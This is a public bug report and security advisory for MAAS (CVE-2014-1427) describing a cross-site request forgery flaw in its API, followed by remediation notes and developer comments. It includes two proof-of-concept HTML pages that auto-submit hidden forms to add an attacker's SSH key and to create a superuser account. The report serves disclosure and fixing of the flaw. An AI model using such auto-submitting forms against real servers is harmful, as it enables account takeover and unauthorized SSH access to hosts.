MAAS API vulnerable to CSRF attack

Bug #1298772 reported by Julian Edwards
264
This bug affects 1 person
Affects Status Importance Assigned to Milestone
MAAS
Fix Released
Critical
Blake Rouse
1.5
Won't Fix
Undecided
Unassigned
1.7
Won't Fix
Undecided
Unassigned
1.9
Fix Released
Critical
Blake Rouse

Bug Description

Because of the flexibility of the API, various actions could be performed as part of a CSRF attack. For
example, by enticing a logged in user to visit a page containing the following HTML, a remote attacker
could trick the user into adding an SSH key.

<html>
    <body>
    <form action="https://maas-server-address/MAAS/api/1.0/account/prefs/sshkeys/" method="POST" name="netcraftForm">
        <input type="hidden" name="op" value="new" />
        <input type="hidden" name="key" value="ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAol9Jq3adiM0jp5MdD3lwMbtQ2jaPiHJstCYcG71Tl94PoXAQHMG7
eJygNMH2y2TofnqCLnEU57zfK2BG3oTtraKjyvNqnh3eKMNI73O+L73LKmWfvF77mgMkjzxYOKOlOgNe
V5Bx94yi0jfMNir8GRid4/o07RdjZ8eqBjDcglat/fzuumKKoXB5fPbaogYsQT/4n1x6E7KexS+GD0y2
xc3SkKOaWV/HpbaepyezV9ObLATKjmW4pnOl6XHyRxy7Ds6IAuizw4DaIxgbYC8Ep+w0eNs6CerV4DxI
kswXNwi8Z8qK9mYlDjdamsXr1GKHH8zbHH4w1hHLFL8FTe4c9Q== <email address hidden>" />
        <input type="submit" />
    </form>
    <script>
        document.netcraftForm.submit();
    </script>
</body>
</html>

This could potentially give the attacker SSH access to hosts. Other simple attacks could include adding
oauth keys, uploading and deleting files, or setting configuration values – for example, changing the
HTTP proxy used by nodes or uploading custom commissioning scripts.
In MAAS version 1.5, more API actions have been implemented, and as a result several extra attacks
are possible. For example, new user accounts can be created via HTML such as:

<html>
    <body>
    <form action="http://maas-server-address/MAAS/api/1.0/users/" method="POST" name=”netcraftForm”>
        <input name="username" value="test" type="hidden">
        <input name="email" <email address hidden>" type="hidden">
        <input name="password" value="test" type="hidden">
        <input name="is_superuser" value="1" type="hidden">
        <input type="submit">
    </form>
    <script>
        document.netcraftForm.submit();
    </script>
</body>
</html>

= Remediation =
Most of the MAAS application is protected against cross-site request forgery attacks using Django’s
built in anti-CSRF middleware. This validates requests by ensuring that a cryptographic nonce which is
included in a cookie also appears in HTTP requests which result in configuration changes. Netcraft
recommends that, if possible, when API requests are authenticated using Djano’s sessionid cookie,
the framework’s CSRF protection is also used.

Tags: netcraft

CVE References

Christian Reis (kiko)
Changed in maas:
milestone: none → 1.7.2
Revision history for this message
Raphaël Badin (rvb) wrote :

To protect against CSRF, Django uses the double-submit cookie pattern: a cookie is set by Django during the first request and each form submission posts that same token (as a hidden field); the server validates each request by making sure the cookie has the same value as the submitted field. The protective measure lies in the fact that an attacker site cannot read the cookie and include it as request parameter.

Now, it should be easy to re-use this in the API: get the cookie when authenticating and pass it with each POST request.

Raphaël Badin (rvb)
summary: - MAAS API vulnerable to CRSF attack
+ MAAS API vulnerable to CSRF attack
Christian Reis (kiko)
Changed in maas:
status: Triaged → In Progress
Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

This is CVE-2014-1427

Revision history for this message
Andreas Hasenack (ahasenack) wrote :

I tested this branch with Landscape and the CSRF protection did not break our interaction with MAAS.

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

What's the status on this issue? Did this get fixed? Does this bug need to remain private?

Revision history for this message
Marc Deslauriers (mdeslaur) wrote :

This security bug has been open for over two years now. I plan on making this bug public on 2016-05-01.

Revision history for this message
Dean Henrichsmeyer (dean) wrote :

Why?

Changed in maas:
status: Fix Committed → Fix Released
information type: Private Security → Public Security
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.